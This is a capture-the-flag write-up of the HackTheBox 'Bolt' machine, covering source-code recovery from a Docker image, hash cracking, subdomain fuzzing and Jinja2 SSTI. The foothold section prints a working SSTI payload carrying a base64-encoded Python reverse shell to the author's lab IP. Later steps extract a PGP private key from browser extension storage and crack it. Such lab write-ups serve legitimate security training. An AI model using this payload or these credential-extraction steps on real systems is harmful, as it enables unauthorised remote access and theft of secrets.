HackTheBox-Bolt

ARZ101
11 min readFeb 19, 2022

Hello everyone , in this post I will be sharing my writeup for HTB-Bolt machine which was a medium rated linux machine ,starting off with nmap scan we see ssh , http and https service running , we can find a docker image file from the bolt.htb domain which has the source code of the web page that reveals that the web application is made in flask also we get an invitation code which works on one of the subdomain that can be found with wfuzz , demo.bolt.htb ,mail.bolt.htb and passbolt.bolt.htb , on registering an account we went back to the source code and looking at what could be vulnerable in the application and turns out that there’s a SSTI on updating the profile as it takes the username input in a template and sends it on the mail subdomain from which we can get remote code execution as www-data. Digging into passbolt files we can password for the database it’s using and that same password allowed us to escalate to eddie , then grabbing the pgp message from the database and decrypting it with the pgp private key granted us root access on the box.

NMAP

PORT    STATE SERVICE  REASON         VERSION                                                                                                       
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
443/tcp open ssl/http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Issuer: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-24T19:11:23
| Not valid after: 2022-02-24T19:11:23
| MD5: 3ac3 4f7c ee22 88de 7967 fe85 8c42 afc6
| SHA-1: c606 ca92 404f 2f04 6231 68be c4c4 644f e9ed f132

The scan shows us only three ports out which http and https is interesting for us ,also it enumerates the domain names from the ssl certificate so let’s add this to /etc/hosts file

PORT 80 (HTTP)

I tried to register on the site but it gave me a 500 status code error

But it gives us an option to download a file that says the web package is ready to start so maybe the source code must be in that file

The file that gets download is an tar archive that we can extract using the command tar -xf layer.tar

We can see some folders and inside every folder there’s going to be a layer.tar file

So after extracting every tar file (manually) , I search around folders and found different versions of source code of web page but was not sure if the flask code was for that Boilerplate Code Jinja site as there were 3 routes.py file having some changes in it, find database information user and password from config.py

The routes.py files that I found were

# -*- encoding: utf-8 -*-
"""
Copyright (c) 2019 - present AppSeed.us
"""
from flask import jsonify, render_template, redirect, request, url_for
from flask_login import (
current_user,
login_required,
login_user,
logout_user
)
from app import db, login_manager
from app.base import blueprint
from app.base.forms import LoginForm, CreateAccountForm
from app.base.models import User
from hmac import compare_digest as compare_hash
import crypt
@blueprint.route('/')
def route_default():
return redirect(url_for('base_blueprint.login'))
## Login & Registration@blueprint.route('/login', methods=['GET', 'POST'])
def login():
login_form = LoginForm(request.form)
if 'login' in request.form:

# read form data
username = request.form['username']
password = request.form['password']
# Locate user
user = User.query.filter_by(username=username).first()

# Check the password
stored_password = user.password
stored_password = stored_password.decode('utf-8')
if user and compare_hash(stored_password,crypt.crypt(password,stored_password)):
login_user(user)
return redirect(url_for('base_blueprint.route_default'))
# Something (user or pass) is not ok
return render_template( 'accounts/login.html', msg='Wrong user or password', form=login_form)
if not current_user.is_authenticated:
return render_template( 'accounts/login.html',
form=login_form)
return redirect(url_for('home_blueprint.index'))
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
login_form = LoginForm(request.form)
create_account_form = CreateAccountForm(request.form)
if 'register' in request.form:
username = request.form['username']
email = request.form['email' ]
data = User.query.filter_by(email=email).first()
if data is None:
# Check usename exists
user = User.query.filter_by(username=username).first()
if user:
return render_template( 'accounts/register.html',
msg='Username already registered',
success=False,
form=create_account_form)
# Check email exists
user = User.query.filter_by(email=email).first()
if user:
return render_template( 'accounts/register.html',
msg='Email already registered',
success=False,
form=create_account_form)
# else we can create the user
user = User(**request.form)
db.session.add(user)
db.session.commit()
return render_template( 'accounts/register.html',
msg='User created please <a href="/login">login</a>',
success=True,
form=create_account_form)
else:
return render_template( 'accounts/register.html', form=create_account_form)
@blueprint.route('/logout')
def logout():
logout_user()
return redirect(url_for('base_blueprint.login'))
## Errors@login_manager.unauthorized_handler
def unauthorized_handler():
return render_template('page-403.html'), 403
@blueprint.errorhandler(403)
def access_forbidden(error):
return render_template('page-403.html'), 403
@blueprint.errorhandler(404)
def not_found_error(error):
return render_template('page-404.html'), 404
@blueprint.errorhandler(500)
def internal_error(error):
return render_template('page-500.html'), 500

There was another version for this code which included a invite code when creating an account

# -*- encoding: utf-8 -*-
"""
Copyright (c) 2019 - present AppSeed.us
"""
from flask import jsonify, render_template, redirect, request, url_for
from flask_login import (
current_user,
login_required,
login_user,
logout_user
)
from app import db, login_manager
from app.base import blueprint
from app.base.forms import LoginForm, CreateAccountForm
from app.base.models import User
from hmac import compare_digest as compare_hash
import crypt
@blueprint.route('/')
def route_default():
return redirect(url_for('base_blueprint.login'))
## Login & Registration@blueprint.route('/login', methods=['GET', 'POST'])
def login():
login_form = LoginForm(request.form)
if 'login' in request.form:

# read form data
username = request.form['username']
password = request.form['password']
# Locate user
user = User.query.filter_by(username=username).first()

# Check the password
stored_password = user.password
stored_password = stored_password.decode('utf-8')
if user and compare_hash(stored_password,crypt.crypt(password,stored_password)):
login_user(user)
return redirect(url_for('base_blueprint.route_default'))
# Something (user or pass) is not ok
return render_template( 'accounts/login.html', msg='Wrong user or password', form=login_form)
if not current_user.is_authenticated:
return render_template( 'accounts/login.html',
form=login_form)
return redirect(url_for('home_blueprint.index'))
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
login_form = LoginForm(request.form)
create_account_form = CreateAccountForm(request.form)
if 'register' in request.form:
username = request.form['username']
email = request.form['email' ]
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
data = User.query.filter_by(email=email).first()
if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
# Check usename exists
user = User.query.filter_by(username=username).first()
if user:
return render_template( 'accounts/register.html',
msg='Username already registered',
success=False,
form=create_account_form)
# Check email exists
user = User.query.filter_by(email=email).first()
if user:
return render_template( 'accounts/register.html',
msg='Email already registered',
success=False,
form=create_account_form)
# else we can create the user
user = User(**request.form)
db.session.add(user)
db.session.commit()
return render_template( 'accounts/register.html',
msg='User created please <a href="/login">login</a>',
success=True,
form=create_account_form)
else:
return render_template( 'accounts/register.html', form=create_account_form)
@blueprint.route('/logout')
def logout():
logout_user()
return redirect(url_for('base_blueprint.login'))
## Errors@login_manager.unauthorized_handler
def unauthorized_handler():
return render_template('page-403.html'), 403
@blueprint.errorhandler(403)
def access_forbidden(error):
return render_template('page-403.html'), 403
@blueprint.errorhandler(404)
def not_found_error(error):
return render_template('page-404.html'), 404
@blueprint.errorhandler(500)
def internal_error(error):
return render_template('page-500.html'), 500

But the site that is on port 80 doesn’t take invite_code as POST parameter. Moving on I also found a db.sqlite3 file having an email and hash which we can try to crack it

Since it’s a md5crypt hash it can be cracked so using hashcat we get the password deadbolt

But this password didn’t worked on boilerplate site , since we are given a domain name maybe let’s do some subdomain enumeration , let’s use wfuzz to find other subdomains

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://bolt.ht
b' -H "Host: FUZZ.bolt.htb" --sc 200

This gives us some results which wont’ lead to anywhere we can filter or hide them through lines, words or characters but I usually use hide lines filter

And here we found two more subdomains mail.bolt.htb and demo.bolt.htb. I visited the mail subdomain first and tried the creds there but it didn't work

On to the demo subdomain , we see that it’s the same as bolt site but what’s different here is that it’s asking for a invite code so recall that we found a flask code that had an invite code so let’s try using that

Now at this point , I got stuck , didn’t found anything on this domain and it all seems like static html pages so I went back to see the flask code and saw that there’s an “experimental feature” that’s taking name ,experience and skills from the profile page

<html>
<body>
<p> %s </p>
<p> This e-mail serves as confirmation of your profile username changes.</p>
</body>
</html>

This is the update-name.html html page which is printing the value of name input field as it's being passed to this page through the jinja template engine

So this seems like SSTI can take place so let’s try this with {{7*'7'}}

After sending this , we need to login to mail.bolt.htb by using the creds we registered at demo.bolt.htb

When we will click this link to confirm changes , we’ll get another email displaying the name value with our SSTI payload and this 7777777 confirms that it's using jinja template engine

Foothold

Getting a shell is now simple , we just need to do a python3 reverse shell so I am going to base64 encode the reverse shell as bash is going to give errors on quotations

So SSTI payload will look like this

{{config.__class__.__init__.__globals__['os'].popen('echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTQuOTUiLDIyMjIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=" |base64 -d | bash').read()}}

Then just put this in name input field like we did earlier and then start nc

Stabilize the shell with python3

Privilege Escalation (Eddie)

Running pspy to see what cronjobs or background tasks are running we can see that cake is being run in passbolt directory so I did a search for passbolt through find command.

Here /etc/passbolt is interesting to see as this holds the database configuration file which is passbolt.php

I used this password on mysql database and it worked but I didn’t found anything but two emails

Here we have two emails but when we visit passbolt.bolt.htb and it will say that it has sent a verification link on email

PORT 443 (HTTPS)

i tried to find out where could the link be sent , checked all tables in database but found nothing , then just tried to see if there’s a password resue on either one of the users on the machine and I was able to switch to eddie

Privilege Escalation (Root)

I saw a PGP message in database in email_quries table

It’s message which is in eddie's account so we would need his pgp private key to decrypt this message. I search manually in eddie's home folder but didn't found anything , so ran a simple find command

find / -user eddie 2>/dev/null | grep -v '/proc

Reading this message it’s saying that we should be able to login into passbolt without our private key also it refers to a security paper so passbolt

I googled for white paper on passbolt’s security and found that the private key is stored in local storage of browser’s extension

So I went to /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf and found the log file which had the prrivate pgp key

We can copy and paste the private key in a text file and format it

After getting both the private key and message , running gpg on message file will tells us that which key id it's encrypted with

So we do have the correct private key but if we try to import this private key , it’s going to ask for a password

Here we would have to use gpg2john to get the hash of pgp private key and then crack the hash using rockyou.txt wordlist with john

John , took a lot of time in cracking the hash

After importing the key with the secret we can then decrpy the pgp message

We have a password so why not try this on root user

And with this rooted this machine.

References

--

--